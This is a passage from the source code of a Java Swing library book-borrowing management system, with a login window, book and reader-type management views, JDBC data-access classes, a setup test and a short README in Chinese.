import java.sql.SQLException;
import org.junit.Test;
import top.vist.bookborrow.utils.JDBCUtils;
public class TestUtils {
@Test
public void test() {
Connection conn = null;
PreparedStatement st = null;
ResultSet rs = null;
try {
conn = JDBCUtils.getConnection();
//sql语句
String sql = "insert into user(username,password) values(?,?)";
//创建语句执行者
st = conn.prepareStatement(sql);
//设置参数
st.setString(1, "admin");
st.setString(2, "admin");
int i = st.executeUpdate();
if(i==1)
System.out.println("数据添加成功");
else
System.out.println("数据添加失败");
} catch (SQLException e) {
e.printStackTrace();
}
}
}
<file_sep>/BookBorrow/src/top/vist/bookborrow/view/Login.java
package top.vist.bookborrow.view;
import java.awt.BorderLayout;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.sql.ResultSet;
import java.sql.SQLException;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
import javax.swing.SwingConstants;
import javax.swing.border.EmptyBorder;
import top.vist.bookborrow.dao.UserDao;
import top.vist.bookborrow.entity.User;
public class Login extends JFrame implements ActionListener {
JPanel jpanel,jpanel2,jp;
JPasswordField jpasswordfield;
JButton jbutton ,jbutton1;
JTextField jtextfield;
public static String USER_NAME;
public Login() {
setBounds(200, 200, 320, 200);
setTitle("图书借阅系统登录界面");
setDefaultCloseOperation(EXIT_ON_CLOSE);
jpanel = new JPanel();
JLabel jlabel = new JLabel("图书借阅系统");
Font font = new Font("宋体", Font.BOLD, 30);
jlabel.setFont(font);
jlabel.setHorizontalAlignment(SwingConstants.CENTER);
jpanel.setLayout(new FlowLayout());
jpanel.add(jlabel);
jpanel2 = new JPanel();
jpanel2.setBorder(new EmptyBorder(5, 10, 5, 10));
GridLayout gridLayout = new GridLayout(2, 2);
gridLayout.setVgap(10);
gridLayout.setHgap(10);
jpanel2.setLayout(gridLayout);
JLabel jlabel1 = new JLabel("用户名:");
jlabel1.setHorizontalAlignment(SwingConstants.CENTER);
jtextfield = new JTextField();
jpanel2.add(jlabel1);
jpanel2.add(jtextfield);
JLabel jlabel2 = new JLabel("密 码:");
jlabel2.setHorizontalAlignment(SwingConstants.CENTER);
jpasswordfield = new JPasswordField();
jpanel2.add(jlabel2);
jpanel2.add(jpasswordfield);
jp = new JPanel();
jbutton = new JButton("登录");
jbutton1 = new JButton("重置");
jbutton.addActionListener(this);
jbutton1.addActionListener(this);
jp.add(jbutton);
jp.add(jbutton1);
add(jpanel, BorderLayout.NORTH);
add(jpanel2, BorderLayout.CENTER);
add(jp, BorderLayout.SOUTH);
this.setVisible(true);// 设置窗体显示,否则不显示。
setResizable(false);// 取消最大化
}
public static void main(String[] args) {
new Login();
}
@Override
public void actionPerformed(ActionEvent e) {
if(e.getSource()==jbutton) {
String name =null,pwd=null;
name=jtextfield.getText();
pwd=<PASSWORD>();
UserDao userDao = new UserDao();
User user = userDao.login(name, pwd);
if(user==null) {
jtextfield.setText(null);
jpasswordfield.setText(null);
JOptionPane.showMessageDialog(this, "用户名或密码错误!");
}else {
new Library();
dispose();
}
}
if(e.getSource()==jbutton1){
jtextfield.setText(null);
jpasswordfield.setText(null);
}
}
}<file_sep>/BookBorrow/src/top/vist/bookborrow/entity/ReaderType.java
package top.vist.bookborrow.entity;
public class ReaderType {
private Integer id;
private String typeName;
private Integer maxBorrowNum;
private Integer limit;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getTypeName() {
return typeName;
}
public void setTypeName(String typeName) {
this.typeName = typeName;
}
public Integer getMaxBorrowNum() {
return maxBorrowNum;
}
public void setMaxBorrowNum(Integer maxBorrowNum) {
this.maxBorrowNum = maxBorrowNum;
}
public Integer getLimit() {
return limit;
}
public void setLimit(Integer limit) {
this.limit = limit;
}
}
<file_sep>/BookBorrow/src/top/vist/bookborrow/view/BookSelectAndUpdate.java
package top.vist.bookborrow.view;
import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.FocusEvent;
import java.awt.event.FocusListener;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.SwingConstants;
import javax.swing.border.EmptyBorder;
import top.vist.bookborrow.dao.BookDao;
import top.vist.bookborrow.dao.BookTypeDao;
import top.vist.bookborrow.entity.Book;
public class BookSelectAndUpdate extends JFrame implements ActionListener, FocusListener {
JTextField chaxunJTF;
JTabbedPane jtabbedPane;
JPanel selectPanel, updatgePanel, conditionPanel, resultPanel, buttonPanel, infoPanel, buttonPanel1;
private JComboBox JComboBox;
private JScrollPane jscrollPane;
private JTable jtable;
private JButton button1, button2, deleteJB;
private JTextField ISBNJT, bookNameJT,lbieJT, bknJT, wrtnJT, cbsnJT, dateJT, numJT, vlJT;
private JLabel ISBNJL,bookNameJL, lbieJL, bknJL, wrtnJL, cbsnJL, dateJL, numJL, vlJL;
private JButton moJB, closeJB;
private JComboBox lbieJCB;
private String[][] results;
private String[] readersearch;
public BookSelectAndUpdate() {
setTitle("图书查询与修改");
setBounds(200, 200, 400, 400);
setDefaultCloseOperation(DISPOSE_ON_CLOSE);
jtabbedPane = new JTabbedPane();
selectPanel = new JPanel();
updatgePanel = new JPanel();
jtabbedPane.addTab("图书信息查询", selectPanel);
jtabbedPane.addTab("图书信息修改", updatgePanel);
conditionPanel = new JPanel();
JComboBox = new JComboBox();
String[] array = { "ISBN", "作者", "类型", "名称" };
for (int i = 0; i < array.length; i++) {
JComboBox.addItem(array[i]);
}
conditionPanel.add(JComboBox);
chaxunJTF = new JTextField(20);
conditionPanel.add(chaxunJTF);
selectPanel.add(conditionPanel, BorderLayout.NORTH);
resultPanel = new JPanel();
jscrollPane = new JScrollPane();
jscrollPane.setPreferredSize(new Dimension(400, 200));
readersearch = new String[] { "编号", "类型", "名称", "作者", "出版社", "出版日期", "出版次数", "单价" };
BookDao bookDao = new BookDao();
results = bookDao.getArrayData(bookDao.findAll());
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
jscrollPane.setViewportView(jtable);
resultPanel.add(jscrollPane);
selectPanel.add(resultPanel, BorderLayout.CENTER);
buttonPanel = new JPanel();
button1 = new JButton("查询");
button2 = new JButton("退出");
deleteJB = new JButton("删除");
buttonPanel.add(button1);
buttonPanel.add(deleteJB);
buttonPanel.add(button2);
selectPanel.add(buttonPanel, BorderLayout.SOUTH);
updatgePanel.setLayout(new BorderLayout());
infoPanel = new JPanel();
infoPanel.setBorder(new EmptyBorder(5, 10, 5, 10));
final GridLayout gridLayout = new GridLayout(8, 2);
gridLayout.setVgap(10);
gridLayout.setHgap(10);
infoPanel.setLayout(gridLayout);
ISBNJL = new JLabel("ISBN");
ISBNJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(ISBNJL);
ISBNJT = new JTextField();
infoPanel.add(ISBNJT);
bookNameJL = new JLabel("图书名称:");
bookNameJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(bookNameJL);
bookNameJT = new JTextField();
infoPanel.add(bookNameJT);
lbieJL = new JLabel("类别:");
lbieJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(lbieJL);
// 下拉列表
lbieJCB = new JComboBox();
infoPanel.add(lbieJCB);
List<String> data = new ArrayList<String>();
BookTypeDao bookTypeDao = new BookTypeDao();
data = bookTypeDao.findNameAll();
Iterator<String> it = data.iterator();
while (it.hasNext()) {
lbieJCB.addItem(it.next());
}
wrtnJL = new JLabel("作者:");
wrtnJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(wrtnJL);
wrtnJT = new JTextField();
infoPanel.add(wrtnJT);
cbsnJL = new JLabel("出版社:");
cbsnJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(cbsnJL);
cbsnJT = new JTextField();
infoPanel.add(cbsnJT);
dateJL = new JLabel("出版日期:");
dateJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(dateJL);
dateJT = new JTextField();
infoPanel.add(dateJT);
numJL = new JLabel("印刷次数:");
numJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(numJL);
numJT = new JTextField();
infoPanel.add(numJT);
vlJL = new JLabel("单价:");
vlJL.setHorizontalAlignment(SwingConstants.CENTER);
infoPanel.add(vlJL);
vlJT = new JTextField();
infoPanel.add(vlJT);
updatgePanel.add(infoPanel, BorderLayout.CENTER);
buttonPanel1 = new JPanel();
moJB = new JButton("修改");
closeJB = new JButton("关闭");
buttonPanel1.add(moJB);
buttonPanel1.add(closeJB);
updatgePanel.add(buttonPanel1, BorderLayout.SOUTH);
add(jtabbedPane);
button1.addActionListener(this);
button2.addActionListener(this);
deleteJB.addActionListener(this);
ISBNJT.addFocusListener(this);
moJB.addActionListener(this);
closeJB.addActionListener(this);
this.setVisible(true);// 设置窗体显示,否则不显示。
setResizable(false);// 取消最大化
}
@Override
public void actionPerformed(ActionEvent e) {
if (e.getSource() == moJB) {
BookDao bookDao = new BookDao();
BookTypeDao bookTypeDao = new BookTypeDao();
Book book = new Book();
book.setISBN(ISBNJT.getText());
if (book.getISBN() == null || "".equals(book.getISBN())) {
JOptionPane.showMessageDialog(this, "ISBN不能为空!");
return;
}
book.setBookName(bookNameJT.getText());
//System.out.println(book.getBookName());
book.setTypeId(bookTypeDao.findIdByName((String) lbieJCB.getSelectedItem()));
book.setAuthor(wrtnJT.getText());
book.setPublish(cbsnJT.getText());
String strDate = dateJT.getText();
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
try {
Date parse = format.parse(strDate);
book.setPublishDate(parse);
strDate = format.format(parse);
} catch (ParseException e1) {
JOptionPane.showMessageDialog(this, "输入日期不合法:yyyy-MM-dd");
}
book.setStrPublishDate(strDate);
try {
book.setPublishNum(Integer.parseInt(numJT.getText()));
book.setUnitprice(Float.valueOf(vlJT.getText()));
} catch (NumberFormatException e1) {
JOptionPane.showMessageDialog(this, "最后两项请输入数字");
e1.printStackTrace();
}
int r = bookDao.update(book);
if (r == 1) {
JOptionPane.showMessageDialog(this, "修改成功");
} else {
JOptionPane.showMessageDialog(this, "修改失败");
}
}
if (e.getSource() == closeJB || e.getSource() == button2) {
dispose();
}
if (e.getSource() == button1) {
BookDao bookDao = new BookDao();
String type = (String) JComboBox.getSelectedItem();
String str = chaxunJTF.getText();
if (str == null || str.length() == 0) {
results = bookDao.getArrayData(bookDao.findAll());
} else {
if (type.equals("ISBN")) {
results = bookDao.getArrayData(bookDao.findBooksByISBN(str.intern()));
}
if (type.equals("类型")) {
results = bookDao.getArrayData(bookDao.findBooksByType(str.intern()));
}
if (type.equals("名称")) {
results = bookDao.getArrayData(bookDao.findBooksByName(str.intern()));
}
if (type.equals("作者")) {
results = bookDao.getArrayData(bookDao.findBooksByAuthor(str.intern()));
}
}
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
jscrollPane.setViewportView(jtable);
}
// 删除选中行的图书
if (e.getSource() == deleteJB) {
int row = jtable.getSelectedRow();
// System.out.println(row);
String ISBN = results[row][0];
System.out.println(ISBN);
BookDao bookDao = new BookDao();
row = bookDao.delete(ISBN);
if (row == 1) {
results = bookDao.getArrayData(bookDao.findAll());
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
jscrollPane.setViewportView(jtable);
JOptionPane.showMessageDialog(this, "删除成功!");
} else {
JOptionPane.showMessageDialog(this, "删除失败!");
}
}
}
@Override
public void focusGained(FocusEvent e) {
}
@Override
public void focusLost(FocusEvent e) {
if (e.getSource() == ISBNJT) {
BookDao bookDao = new BookDao();
Book book = new Book();
if ("".equals(ISBNJT.getText().intern()))
return;
book = bookDao.findBookByISBN(ISBNJT.getText());
if (book == null) {
ISBNJT.setText(null);
JOptionPane.showMessageDialog(this, "查无此书");
return;
}
BookTypeDao bookTypeDao = new BookTypeDao();
bookNameJT.setText(book.getBookName());
lbieJCB.setSelectedItem(bookTypeDao.findNameById(book.getTypeId()));
wrtnJT.setText(book.getAuthor());
cbsnJT.setText(book.getPublish());
dateJT.setText(String.valueOf(book.getPublishDate()));
numJT.setText(book.getPublishNum() + "");
vlJT.setText(book.getUnitprice() + "");
}
}
}<file_sep>/BookBorrow/src/top/vist/bookborrow/view/ReaderTypeManage.java
package top.vist.bookborrow.view;
import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.List;
import javax.swing.ButtonGroup;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JRadioButton;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.SwingConstants;
import javax.swing.border.EmptyBorder;
import top.vist.bookborrow.dao.ReaderTypeDao;
import top.vist.bookborrow.entity.Reader;
import top.vist.bookborrow.entity.ReaderType;
/*
* 读者类型管理
* */
public class ReaderTypeManage extends JFrame implements MouseListener, ActionListener {
private static final long serialVersionUID = 1L;
private JPanel selectJP, select_conditionJP, select_resultJP, sexJP, updateJP, buttonJP;
private ButtonGroup buttonGroup = new ButtonGroup();
private JLabel IDJL, typeJL, readerNameJL, sexJL, phoneJL, deptJL, ageJL, regJL, jlabel;
private JTextField select_conditionJTF, IDJTF, readerNameJTF, phoneJTF, deptJTF, ageJTF, regJTF;
private JComboBox conditionJCB, readertypeJCB;
private JScrollPane jscrollPane;
private JRadioButton JRB1, JRB2;
private JTable jtable, jtable1;
private JButton selectJB, updateJB, closeJB, insertbutton, delbutton;
private String[][] results = null, date;
String[] readersearch;
public ReaderTypeManage() {
setBounds(200, 200, 500, 400);
setTitle("读者类型管理");
// 读者信息查询面板设计
selectJP = new JPanel();
selectJP.setLayout(new BorderLayout());
// 查询读者类型面板
select_conditionJP = new JPanel();
jlabel = new JLabel("读者类型");
select_conditionJP.add(jlabel);
// 查询条件文本框
select_conditionJTF = new JTextField();
select_conditionJTF.setColumns(20);
select_conditionJP.add(select_conditionJTF);
// 查询条件按钮
selectJB = new JButton();
selectJB.setText("查询");
selectJB.addActionListener(this);
select_conditionJP.add(selectJB);
selectJP.add(select_conditionJP, BorderLayout.NORTH);
// 查询结果面板
select_resultJP = new JPanel();
jscrollPane = new JScrollPane();
jscrollPane.setPreferredSize(new Dimension(400, 200));
readersearch = new String[] { "读者类型编号", "读者类型名称", "可借图书数量", "可借图书期限" };
ReaderTypeDao readerTypeDao = new ReaderTypeDao();
results = readerTypeDao.getArrayData(readerTypeDao.findAll());
// results=new String[][]{{"1","学生","3","10"},{"2","教师","6","30"}};
jtable = new JTable(results, readersearch);
// jtable.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
jtable.setAutoResizeMode(2);
jtable.addMouseListener(this);// 对表格添加鼠标监听事件
jscrollPane.setViewportView(jtable);
select_resultJP.add(jscrollPane);
selectJP.add(select_resultJP, BorderLayout.CENTER);
// 读者信息修改面板设计
updateJP = new JPanel();
updateJP.setBorder(new EmptyBorder(5, 10, 5, 10));
GridLayout gridLayout = new GridLayout(2, 2);
gridLayout.setVgap(10);
gridLayout.setHgap(10);
updateJP.setLayout(gridLayout);
IDJL = new JLabel("读者类型编号:");
IDJL.setHorizontalAlignment(SwingConstants.CENTER);
updateJP.add(IDJL);
IDJTF = new JTextField();
IDJTF.setEditable(false);
updateJP.add(IDJTF);
readerNameJL = new JLabel("读者类型名称:");
readerNameJL.setHorizontalAlignment(SwingConstants.CENTER);
updateJP.add(readerNameJL);
readerNameJTF = new JTextField();
updateJP.add(readerNameJTF);
ageJL = new JLabel("可借图书数量:");
ageJL.setHorizontalAlignment(SwingConstants.CENTER);
updateJP.add(ageJL);
ageJTF = new JTextField();
updateJP.add(ageJTF);
phoneJL = new JLabel("可借图书期限:");
phoneJL.setHorizontalAlignment(SwingConstants.CENTER);
updateJP.add(phoneJL);
phoneJTF = new JTextField();
updateJP.add(phoneJTF);
// 登录取消按钮面板设计
buttonJP = new JPanel();// 修改按钮面板
updateJB = new JButton("修改");
updateJB.addActionListener(this);
closeJB = new JButton("退出");
closeJB.addActionListener(this);
insertbutton = new JButton("添加");
insertbutton.addActionListener(this);
delbutton = new JButton("删除");
delbutton.addActionListener(this);
buttonJP.add(insertbutton);
buttonJP.add(updateJB);
buttonJP.add(delbutton);
buttonJP.add(closeJB);
this.add(selectJP, BorderLayout.NORTH);
this.add(updateJP, BorderLayout.CENTER);
this.add(buttonJP, BorderLayout.SOUTH);
this.setVisible(true);// 设置窗体显示,否则不显示。
setResizable(false);// 取消最大化
}
// 搜索读者类型
public void actionPerformed(ActionEvent e) {
if (e.getSource() == selectJB) {
ReaderTypeDao readerTypeDao = new ReaderTypeDao();
results = readerTypeDao.getArrayData(readerTypeDao.search(select_conditionJTF.getText().intern()));
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(2);
jtable.addMouseListener(this);// 对表格添加鼠标监听事件
jscrollPane.setViewportView(jtable);
select_resultJP.add(jscrollPane);
// JOptionPane.showMessageDialog(this, "查询");
}
// 插入读者类型
if (e.getSource() == insertbutton) {
ReaderType readerType = new ReaderType();
readerType.setTypeName(readerNameJTF.getText());
if (readerType.getTypeName() == null || "".equals(readerType.getTypeName())) {
JOptionPane.showMessageDialog(this, "类别名不能为空");
return;
}
try {
readerType.setMaxBorrowNum(Integer.parseInt(ageJTF.getText()));
readerType.setLimit(Integer.parseInt(phoneJTF.getText()));
} catch (NumberFormatException e1) {
e1.printStackTrace();
JOptionPane.showMessageDialog(this, "请正确的借阅数和借阅时间!");
return;
}
ReaderTypeDao readerTypeDao = new ReaderTypeDao();
int row = readerTypeDao.save(readerType);
if (row == 1) {
results = readerTypeDao.getArrayData(readerTypeDao.findAll());
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(2);
jtable.addMouseListener(this);// 对表格添加鼠标监听事件
jscrollPane.setViewportView(jtable);
select_resultJP.add(jscrollPane);
readerNameJTF.setText(null);
ageJTF.setText(null);
phoneJTF.setText(null);
JOptionPane.showMessageDialog(this, "读者类别添加成功!");
} else {
JOptionPane.showMessageDialog(this, "读者类别添加失败!");
}
}
// 更新读者类型信息
if (e.getSource() == updateJB) {
ReaderType readerType = new ReaderType();
readerType.setId(Integer.valueOf(IDJTF.getText()));
readerType.setTypeName(readerNameJTF.getText());
if (readerType.getTypeName() == null || "".equals(readerType.getTypeName())) {
JOptionPane.showMessageDialog(this, "类别名不能为空");
return;
}
try {
readerType.setMaxBorrowNum(Integer.parseInt(ageJTF.getText()));
readerType.setLimit(Integer.parseInt(phoneJTF.getText()));
} catch (NumberFormatException e1) {
e1.printStackTrace();
JOptionPane.showMessageDialog(this, "请正确的借阅数和借阅时间!");
return;
}
ReaderTypeDao readerTypeDao = new ReaderTypeDao();
int row = readerTypeDao.update(readerType);
if (row == 1) {
results = readerTypeDao.getArrayData(readerTypeDao.findAll());
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(2);
jtable.addMouseListener(this);// 对表格添加鼠标监听事件
jscrollPane.setViewportView(jtable);
select_resultJP.add(jscrollPane);
readerNameJTF.setText(null);
ageJTF.setText(null);
phoneJTF.setText(null);
IDJTF.setText(null);
JOptionPane.showMessageDialog(this, "读者类别修改成功!");
} else {
JOptionPane.showMessageDialog(this, "读者类别修改失败!");
}
}
// 删除读者类型
if (e.getSource() == delbutton) {
ReaderType readerType = new ReaderType();
readerType.setId(Integer.valueOf(IDJTF.getText()));
ReaderTypeDao readerTypeDao = new ReaderTypeDao();
int row = readerTypeDao.delete(readerType);
if (row == 1) {
results = readerTypeDao.getArrayData(readerTypeDao.findAll());
jtable = new JTable(results, readersearch);
jtable.setAutoResizeMode(2);
jtable.addMouseListener(this);// 对表格添加鼠标监听事件
jscrollPane.setViewportView(jtable);
select_resultJP.add(jscrollPane);
readerNameJTF.setText(null);
ageJTF.setText(null);
phoneJTF.setText(null);
IDJTF.setText(null);
JOptionPane.showMessageDialog(this, "读者类别删除成功!");
} else {
JOptionPane.showMessageDialog(this, "读者类别删除失败!");
}
}
// 关闭窗口
if (e.getSource() == closeJB) {
dispose();
}
}
@Override
public void mouseClicked(MouseEvent arg0) {
if (arg0.getSource() == jtable) {
int row = jtable.getSelectedRow();
IDJTF.setText(results[row][0]);
readerNameJTF.setText(results[row][1]);
ageJTF.setText(results[row][2]);
phoneJTF.setText(results[row][3]);
}
}
@Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseReleased(MouseEvent arg0) {
// TODO Auto-generated method stub
}
}
<file_sep>/BookBorrow/src/top/vist/bookborrow/dao/BorrowBookDao.java
package top.vist.bookborrow.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import top.vist.bookborrow.entity.BorrowBook;
import top.vist.bookborrow.utils.JDBCUtils;;
public class BorrowBookDao {
private Connection conn = null;
private PreparedStatement st = null;
private ResultSet rs = null;
/**
* 根据读者id查询借书信息
*/
public List<BorrowBook> findBorrowByReaderId(String readerId) {
List<BorrowBook> lists = new ArrayList<BorrowBook>();
BorrowBook borrowBook = null;
String sql = "select isbn,borrowdate from borrowbook where readerid = ? and returndate is null ";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, readerId);
rs = st.executeQuery();
while (rs.next()) {
borrowBook = new BorrowBook();
borrowBook.setISBN(rs.getString(1));
borrowBook.setBorrowDate(rs.getString(2));
lists.add(borrowBook);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return lists;
}
/**
* 将 lists 转为二维数组
*/
public String[][] getArrayData(List<BorrowBook> lists) {
String[][] data = new String[lists.size()][3];
BookDao bookDao = new BookDao();
for (int i = 0; i < lists.size(); i++) {
BorrowBook borrowBook = lists.get(i);
data[i][0] = borrowBook.getISBN();
data[i][1] = bookDao.findBookByISBN(borrowBook.getISBN()).getBookName();
data[i][2] = borrowBook.getBorrowDate();
}
return data;
}
/**
* 保存借阅信息
*/
public int save(String readerid, String iSBN) {
String sql = "insert into borrowbook(readerid,isbn,borrowdate) values(?,?,now())";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, readerid);
st.setString(2, iSBN);
int row = st.executeUpdate();
if (row !=0 )
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 更新借阅记录的归还时间
* */
public int update(String readerid, String iSBN) {
String sql = "update borrowbook set returndate = now() where readerid = ? and isbn = ?";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, readerid);
st.setString(2, iSBN);
int row = st.executeUpdate();
if (row != 0)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
}
<file_sep>/BookBorrow/src/top/vist/bookborrow/dao/ReaderTypeDao.java
package top.vist.bookborrow.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import top.vist.bookborrow.entity.ReaderType;
import top.vist.bookborrow.utils.JDBCUtils;
public class ReaderTypeDao {
private Connection conn = null;
private PreparedStatement st = null;
private ResultSet rs = null;
/**
* 查询所有读者类型名
*/
public List<String> findNameAll() {
List<String> list = new ArrayList<>();
String sql = "select typename from readertype";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
rs = st.executeQuery();
while (rs.next()) {
String tmp = rs.getString(1);
list.add(tmp);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return list;
}
/**
* 根据读者类型名查询读者编号
*/
public int findIdByName(String typename) {
String sql = "select id from readertype where typename = ?";
int id = 1;
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, typename);
rs = st.executeQuery();
if (rs.next())
id = rs.getInt(1);
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return id;
}
/**
* 查询所有读者类型
*/
public List<ReaderType> findAll() {
List<ReaderType> list = new ArrayList<>();
ReaderType readerType = null;
String sql = "select * from readertype";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
rs = st.executeQuery();
while (rs.next()) {
readerType = new ReaderType();
readerType.setId(rs.getInt(1));
readerType.setTypeName(rs.getString(2));
readerType.setMaxBorrowNum(rs.getInt(3));
readerType.setLimit(rs.getInt(4));
list.add(readerType);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return list;
}
/**
* 将list集合转成数组
*/
public String[][] getArrayData(List<ReaderType> readerTypes) {
String[][] data = new String[readerTypes.size()][4];
for (int i = 0; i < readerTypes.size(); i++) {
ReaderType r = readerTypes.get(i);
data[i][0] = r.getId() + "";
data[i][1] = r.getTypeName() + "";
data[i][2] = r.getMaxBorrowNum() + "";
data[i][3] = r.getLimit() + "";
}
return data;
}
/**
* 条件查询
*/
public List<ReaderType> search(String readerTypeName) {
List<ReaderType> list = new ArrayList<>();
ReaderType readerType = null;
String sql = "select * from readertype where typename like ?";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
readerTypeName = "%" + readerTypeName + "%";
st.setString(1, readerTypeName);
rs = st.executeQuery();
while (rs.next()) {
readerType = new ReaderType();
readerType.setId(rs.getInt(1));
readerType.setTypeName(rs.getString(2));
readerType.setMaxBorrowNum(rs.getInt(3));
readerType.setLimit(rs.getInt(4));
list.add(readerType);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return list;
}
/**
* 添加用户
*/
public int save(ReaderType readerType) {
String sql = "insert into readertype(typename,maxborrownum,`limit`) values(?,?,?);";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, readerType.getTypeName());
st.setInt(2, readerType.getMaxBorrowNum());
st.setInt(3, readerType.getLimit());
int row = st.executeUpdate();
if (row == 1)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 修改读者类别
*/
public int update(ReaderType readerType) {
String sql = "update readertype set typename = ?, maxborrownum = ?, `limit`= ? where id = ?";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, readerType.getTypeName());
st.setInt(2, readerType.getMaxBorrowNum());
st.setInt(3, readerType.getLimit());
st.setInt(4, readerType.getId());
int row = st.executeUpdate();
if (row == 1)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 删除读者信息
*/
public int delete(ReaderType readerType) {
String sql = "delete from readertype where id=?";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setInt(1, readerType.getId());
int row = st.executeUpdate();
if (row == 1)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 根据id查询读者姓名
*/
public String getNameById(Integer type) {
String sql = "select typename from readertype where id= ?";
String typeName = null;
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setInt(1, type);
rs = st.executeQuery();
if (rs.next()) {
typeName = rs.getString(1);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return typeName;
}
}
<file_sep>/README.md
# origin
图书借阅管理系统
目录介绍:
top.vist.bookborrow
--dao 对数据库操作
--entity 实体
--utils 工具包
--view 视图
lib mysql数据库驱动包
SqlFile 数据库文件
<file_sep>/BookBorrow/src/top/vist/bookborrow/dao/UserDao.java
package top.vist.bookborrow.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import top.vist.bookborrow.entity.User;
import top.vist.bookborrow.utils.JDBCUtils;
public class UserDao {
private Connection conn = null;
private PreparedStatement st = null;
private ResultSet rs = null;
/**
* 更具账户和密码查询用户是否存在
*/
public User login(String username, String password) {
User user = null;
String sql = "select * from user where username = ? and password = ?";
// 创建语句执行者
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
// 设置参数
st.setString(1, username);
st.setString(2, password);
rs = st.executeQuery();
if (rs.next()) {
user = new User();
user.setId(rs.getInt(1));
user.setUserName(rs.getString(2));
user.setPassword(rs.getString(3));
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return user;
}
/**
* 根据用户名查用户
*/
public User findUserByName(String text) {
User user = null;
String sql = "select * from user where username = ?";
try {
conn = JDBCUtils.getConnection();
